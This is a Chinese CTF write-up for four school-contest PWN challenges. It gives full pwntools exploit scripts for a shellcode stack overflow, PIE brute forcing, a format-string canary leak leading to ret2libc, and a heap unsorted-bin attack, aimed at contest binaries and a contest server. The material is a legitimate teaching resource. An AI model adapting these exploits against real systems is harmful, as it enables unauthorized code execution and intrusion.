PWN

这次校赛由我负责出pwn部分题目,也都挺简单的。

GGKING’s gift

本题是shellcode签到题,大致思路是在栈上写shellcode然后栈溢出返回到shellcode即可

来看具体wp

首先就是看保护

image-20250407213950074

nx保护没开,看看是不是shellcode

首先看main函数

image-20250407214241814

是GGKING把nx保护关了,感谢GGKING,我们发现程序把code设置成了可执行,所以就可以用shellcode

我们可以输入0x17的字节到code里,我们看看code是在哪里

image-20250407214713518

我们在看看vuln是啥

image-20250407215118312

我们发现可以输入0x100字节,所以可以溢出到返回地址,将返回地址设置到code处就可以执行shellcode了

注意这里我们只能输入0x17个字节的shellcode,所以pwntools自带的那个shellcode过大输入不进去可以百度下找找短点的shellcode

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context.log_level='debug'
context(os='linux',arch = 'amd64')
io = process('./pwn')
#io=remote('10.26.229.52',32814)
bss=0x404080
shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
io.sendafter(b"GGKING's heart?\n", shellcode)

payload=b'a'*(0x30+8)+ p64(bss)
io.sendlineafter(b"why baby why?\n", payload)
io.interactive()

image-20250407220059750

成功获得shell

热天text pro

上次新生赛出了这个ret2text,这里加个保护继续拿来用 大概思路是pie爆破

先看看保护

image-20250407220157639

相比上次多开了pie

看看main函数

image-20250407220305629

哇 是欢迎界面

点开vuln看看

image-20250407220420897

哇 是最喜欢的栈溢出

发现旁边还有个func函数看看

image-20250407220618758

哇 是最喜欢的system

点开shell看看是啥

image-20250407220657488

哇 是最喜欢的pwn帝mowen

总体题目和上次一样 可以看到mowen是pwn帝 可以联系他的qq来获得flag 但真的重要的是后面的/bin/sh,看到/bin/sh前面有分号 这样在执行函数时前面一团乱的就不用管 真正执行的是system(/bin/sh)所以后门函数确定是这个 再看看这个后门函数地址在哪

image-20250407220919141

找到了0x1294

那是不是直接栈溢出返回地址到这里就好了吗,错误的,我们前面看到了此题开了pie保护,那pie是啥呢百度一下你就知道

简单来说程序开启了 pie 保护,我们无法完全确定程序的地址 但是由于内存分页机制,程序地址最后 3个 16进制位是不会改变的 linux 下一个内存页为 0x1000 即(4KB) 所以是我们后三个16位进制是不会变的

我们动调看看返回地址

image-20250407221627751

是0x555555555334

我们再看看func函数地址

image-20250407221834137

是0x555555555273,后面三位是不同的,可惜了,如果只是最后两位不同那我们直接覆盖最后一个字节就行了,但是这里是三位不同那我们是要覆盖两个字节,但是倒数第4位是不确定的,所以我们不知道应该输入什么,(1273或者2273或者3273都有可能)这时候就需要爆破了,写个爆破脚本即可,注意接收

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
for i in range(0xf):
#p=process('./pwn')
p=remote('10.26.229.52',32817)
r = i << 0xc
pay = b'A' * 0x88 + p16(r + 0x294)
p.recvuntil('shell\n')
p.send(pay)
p.recvuntil('\n')
try:
p.sendline(b'cat flag')
p.recv()
flag = p.recv()
print(flag)
except:
pass
p.close()

p.interactive()

可能打一次没出,一次不够那就再来次

得到flag,”mowen找不到flag”

image-20250407232017098

她不见了

照例看看保护

image-20250407223056885

开启了Canary和NX保护。

看看第一个函数

image-20250407223326792

是个输入然后用printf输出,没有溢出 可以联想到格式化字符串漏洞 由于开了canary保护,可以想到用printf泄露出来

那么canary是啥呢百度一下你就知道

简单来说就是防止缓冲区溢出 你栈溢出时候要保证canary没变,不然就会报错

那么格式化字符串漏洞又是啥呢百度一下你就知道

通过printf我们就可以利用

在程序中我们发现居然没有后门函数,这我要咋获得shell啊(可以通过ret2libc)

这里有喜欢的栈溢出

所以具体思路是利用secret()函数中的格式化字符串漏洞泄露Canary的地址,从而泄露出Canary的值;

利用SetString()函数泄露puts()函数的实际地址,进而计算libc基址、system()函数和/bin/sh字符串的地址;

构造栈结构,利用栈溢出来进行ret2libc攻击;

image-20250407224714743

这里知道canary位于rbp-0x8位置 所以到时候覆盖到这里

image-20250407225054390

通过打印输出的内容,从左到右数,可以知道格式化字符串的偏移量为6 这里如果不太清楚可以去百度搜索格式化字符串漏洞学习下

动调输入看看 断点断到printf

image-20250407225314740

所以其实canary的偏移是39,用’%39$p’打印出来然后接收

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
p = process('./pwn')
#p=remote('10.26.229.52',32819)
elf = ELF('./pwn')
#libc = ELF('./libc-2.23.so')

payload = '%39$p'
p.sendline(payload)
p.recvuntil('0x')
canary = int(p.recv(16),16)
print ('canary >> ' + hex(canary))
p.interactive

接下来,利用SetString()函数泄露puts()函数的实际地址,进而计算libc基址。

由于是64位程序,所以需要rdi寄存器

1
ROPgadget --binary pwn --only "pop|ret"

image-20250407230100776

第一段payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
#p = process('./pwn')
p=remote('10.26.229.52',32819)
elf = ELF('./pwn')
#libc = ELF('./libc-2.23.so')

payload = '%39$p'
p.sendline(payload)
p.recvuntil('0x')
canary = int(p.recv(16),16)
print ('canary >> ' + hex(canary))
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi =0x400953
SetString_addr = 0x40082A
payload = b'a' * (0x70 - 8)
payload += p64(canary)
payload += b'a' * 8
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(SetString_addr)
p.recvuntil('lose her\n')
p.sendline(payload)
puts_addr = u64(p.recvline()[:-1].ljust(8,b'\x00'))
print ('puts_addr >> ' + hex(puts_addr))
p.interactive()

但是请注意不要在本地打,因为我给你们的文件的libc和远程不一样,题目中我也提醒了以远程为主,所以我们是远程看puts的后三位

查询对应的libc库 https://libc.blukat.me/

image-20250407230838619

看到是以0x6a0结尾

image-20250407231022899

可以下载或者直接使用偏移

下载的话可以直接

1
2
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh\x00"))

再和前面一样栈溢出即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
#p = process('./pwn')
p=remote('10.26.229.52',32825)
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')

payload = '%39$p'
p.sendline(payload)
p.recvuntil('0x')
canary = int(p.recv(16),16)
print ('canary >> ' + hex(canary))
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi =0x400953
SetString_addr = 0x40082A
payload = b'a' * (0x70 - 8)
payload += p64(canary)
payload += b'a' * 8
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(SetString_addr)
p.recvuntil('lose her\n')
p.sendline(payload)
puts_addr = u64(p.recvline()[:-1].ljust(8,b'\x00'))
print ('puts_addr >> ' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
print ('libc_base >> ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh\x00"))
p.recvuntil('lose her')
payload = b'a' * (0x70 - 8)
payload += p64(canary)
payload += b'a' * 8
payload += p64(pop_rdi)
payload += p64(bin_sh_addr)
payload += p64(system_addr)
#payload += p64(0)
p.sendline(payload)

p.interactive()

得到shell

image-20250407231606473

想要成为原神高手

这是一个基本的堆题,有很多方法可以解,我试了下堆溢出任意地址写bss也可以,但我想考察的是unsortedbin attack,这里就讲解此方法。

一般的堆题都要先换下libc,更换为发放的2.23版本才行 具体更换方法百度一下你就知道

照例先看看保护

image-20250407233007251

主页面写的很乱 将就着看

image-20250407233203740

有四个选项,看着就像创建,编辑,删除,退出等功能

创建函数

image-20250407233557643

编辑函数

image-20250407233648847

这里发现编辑多少是由我们输入决定的 所以可以造成堆溢出

删除函数

image-20250407233707828

这里发现还有个特别的选项

image-20250407234132733

点开阳光青提发现是最喜欢的后门函数

image-20250407234237076

哎呀,去洗了点阳光青提

所以思路就是让magic大于0x1314就行

这里就聊到了unsortedbin attack

Unsorted Bin Attack从字面上就可以看出,正合适一种针对Unsorted Bin机制的攻击手法。这种攻击手法实现的前提是能够控制挂进unsorted bin中的chunk的bk指针,在控制bk指针的情况下可以实现修改任意地址值为一个较大的数值。

1
2
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

unsorted_chunk的bk指针指向的是它后一个被释放的chunk的块地址(bck),后一个被释放的chunk的fd指针指向的是unsorted_chunk的块地址。如果我们能够控制unsorted_chunk的bk,那么就意味着可以将unsorted_chunks (av),即unsorted_chunk的块地址写到任意可写地址内(具体知识可以百度搜索)

具体看题目讲解(我讲的每一步可以对照最下面的exp并且对应调试效果更佳)

我们首先先创建三个堆块

image-20250408235342115

前两个用来溢出和构造,最后一个防止合并

接着我们释放1号堆块(注意我堆块是从0开始算,所以是第二个堆块)

image-20250409000039339

1号堆块我特意搞了个0x80大小,这样释放就可以直接进入unsortedbin中,

然后我们堆溢出覆写堆块

image-20250409000232326

我们将1号堆块的bk位置写入目标地址也就是magic-0x10 至于为啥是要减0x10后面解释(bk位置如果不知道的话可以先去了解堆结构)

查看下bins

image-20250409000456990

我们就成功把1号堆块的bk位置写成了magic-0x10

前面浅浅介绍了unsortedbin attack 我们把位于unsortedbin的堆块(也就是1号堆块)的bk位置写成目标地址-0x10那么堆块申请之后目标地址-0x10位置的fd指针被赋值为了unsorted_chunk的块地址,相当于就是在目标地址填写了一个很大的值,满足了大于0x1314的条件

image-20250409001127835

赋值成功,那么我们输入412后就可以进入阳光青提获取shell

image-20250409001317983

恭喜你成为了mvp

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
context(os='linux',arch='amd64',log_level='debug')

#elf=ELF('./pwn1')
#p=remote('10.26.229.52',32813)
p=process('./pwn')

def add(size,content):
p.sendlineafter("choice :",'1')
p.sendlineafter("Size of elemental power : ",str(size))
p.sendlineafter("Content of elemental power:",content)

def edit(index,size,content):
p.sendlineafter("choice :",'2')
p.sendlineafter("Index :",str(index))
p.sendlineafter("Size of elemental power : ",str(size))
p.sendlineafter("Content of elemental power : ",content)

def delete(index):
p.sendlineafter("choice :",'3')
p.sendlineafter("Index :",str(index))

add(0x20,b'aaaa')
add(0x80,b'bbbb')
add(0x20,b'cccc')

delete(1)

payload=b'a'*0x20+p64(0x0)+p64(0x91)+p64(0)+p64(0x6020C8-0x10)
edit(0,0x40,payload)

add(0x80,b'dddd')

p.sendline('412')
p.interactive()


题目总的来说都是比较简单的基础题,wp也特意写的比较详细,如果还有不懂的可以去问mowen师傅,不过mowen师傅很忙,基本还是得要靠大家自行理解学习。主要目的是让大家对pwn感兴趣,好好学习天天向上,(学好了然后带我躺赢)。